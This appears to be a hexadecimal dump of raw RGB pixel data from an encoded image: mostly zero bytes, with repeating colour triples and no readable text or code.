+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +1C2E0B8AE23482D531000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C +00000000000000000000000000000000000000000004060177C32D8AE23422370D000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23420350C000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000 +00000000000000000004060177C32D8AE23422370D000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000003A601689E0347CCC2F7BCA2E8AE2348AE23446731B000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000121920121920121920121920121920121920121920 +121920121920000101000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000006891BC729FCF1B2531000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000006891BC729FCF1B2531000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000001C2E0B8AE23482D531000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000 +060B0268AA277AC72E8AE23470B72A000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE23420350C000000000000000000000000000000060B0268AA277AC72E8AE234 +70B72A000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +243A0D6DB32982D53188DE3379C62D47741B030401000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000729FCF729FCF729FCF729FCF729FCF729FCF729FCF729FCF729FCF040506000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000006891BC729FCF1B2531000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000006891BC729FCF1B2531000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000001C2E0B8AE23482D531000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE23420350C000000000000000000000000000000090E038AE23489E1346FB62A162308 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE23420350C000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE23420350C000000 +000000000000000000000000090E038AE23489E1346FB62A162308000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDED000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000263444263444263444263444 +263444263444263444263444263444010102000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000027400F8AE23477C32D000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000027400F8AE234 +77C32D000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000027400F8AE23477C32D000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000304E128AE2348AE2348AE23488DF33000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000027400F8AE23477C32D000000 +000000000000000000000000060B0245711A45711A030501000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000066A7268AE234365914000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000060B0245711A45711A030501000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000027400F8AE23477C32D000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +27400F8AE23477C32D000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000060B0245711A45711A +03050100000000000000000000000066A7268AE234365914000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000001C2E0B8AE23482D531000000000000000000000000 +000000000000000000000000000000000000000000000000060B0245711A45711A030501000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +060B0245711A45711A030501000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000243B0E6AAE286FB72A8AE234 +88DF33000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000001B2B0A5F9C2452861F0000000000000000000000000000000D1505 +8AE2348AE234060B02000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000066A726 +8AE234365914000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000D1505 +8AE2348AE234060B02000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000001B2B0A5F9C2452861F000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000001B2B0A5F9C2452861F000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000D15058AE2348AE234060B02000000000000000000000000 +66A7268AE234365914000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000001C2E0B8AE23482D531000000000000000000000000000000000000000000000000000000 +0000000000000000000D15058AE2348AE234060B02000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000D15058AE2348AE234060B02000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDED000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000001827098AE23488DF33000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000D15058AE2348AE234060B02000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000066A7268AE234365914000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000D15058AE2348AE234060B02000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0D15058AE2348AE234060B0200000000000000000000000066A7268AE234365914000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000001C2E0B8AE23482D531000000 +0000000000000000000000000000000000000000000000000000000000000000000D15058AE234 +8AE234060B02000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000D15058AE2348AE234060B02000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000 +3A5F1675C02C87DE337CCB2F4E801D0509020000000E160581D4318AE234385C15000000345614 +8AE23484D732101B060000007ECE2F8AE234385B156FB62A86DC3366A8270F1906000000000000 +0000001827098AE23488DF33000000000000000000000000000000000000385C1576C12C87DD33 +77C22D3B61160000000000000000003455148AE2348AE2348AE23477C32D000000000000000000 +1A2B0A8AE2348AE2348AE2348AE2348AE2348AE23477C32D000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE234385B156FB62A86DC3366A8270F1906 +00000000000066A7268AE234416A1866A82784D83264A3260A11040000000000007ECE2F8AE234 +385B156FB62A86DC3366A8270F1906000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000066A7268AE23447741B6BAF28 +85D93264A3260A11040000000000000000003A5F1675C02C87DE337CCB2F4E801D050902000000 +1A2B0A8AE2348AE2348AE2348AE2348AE2348AE23477C32D00000000000020350C61A0257CCC2F +87DE337FCF305890210A11040000000000007ECE2F8AE234385B156FB62A86DC3366A8270F1906 +0000000000003455148AE2348AE2348AE23477C32D000000000000000000000000000000000000 +00000000000000000000000000000000000000000001020045711A78C52D86DC337ECF3063A225 +1421080000000000000000000C1405568D207FCF3085D9326FB72A335313000000000000000000 